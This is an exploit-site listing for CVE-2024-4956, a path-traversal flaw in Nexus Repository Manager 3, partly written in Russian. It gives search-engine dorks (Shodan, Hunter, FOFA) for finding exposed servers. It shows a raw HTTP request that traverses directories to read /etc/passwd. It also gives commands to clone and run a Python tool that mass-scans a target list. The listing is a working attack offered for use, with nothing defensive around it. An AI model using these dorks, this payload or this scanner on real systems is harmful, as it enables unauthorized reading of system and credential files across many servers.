Sploitus

Exploit for CVE-2024-4956

kitploit · 2026-08-26

Exploit Code

MARKDOWN45 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GOATSECURITY-CVE-2024-4956
# # CVE-2024-4956 : Nexus Repository Manager 3

Дорк:

  * Shodan:http.html:"Nexus Repository"

  * Hunter:product.name="Nexus Repository"

  * FOFA:app="Nexus-Repository-Manager"




PoC :

root@kitploit:~
    
    
    GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
    Host: localhost:8081
    Accept-Encoding: gzip, deflate, br
    Accept: */*
    Accept-Language: en-US;q=0.9,en;q=0.8
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
    Connection: close
    Cache-Control: max-age=0
    

![1](https://assets.kitploit.com/production/public/readmes/36278/e9e1a3273a62a9b80bbea9e7d2b16565ead9bc2504422f5565137e9cfc790670.png)

Или вы можете использовать этот Python-скрипт для массового сканирования:

!Поместите ваши цели в targets.txt

root@kitploit:~
    
    
    git clone https://github.com/GoatSecurity/CVE-2024-4956.git
    cd CVE-2024-4956
    pip install -r requirements.txt
    python scan.py
    

![Screenshot](https://assets.kitploit.com/production/public/readmes/36278/35947ab0c579ea767f8f3171a0bbd6baf420b3da3244b37d8db3a775b3185d4a.png)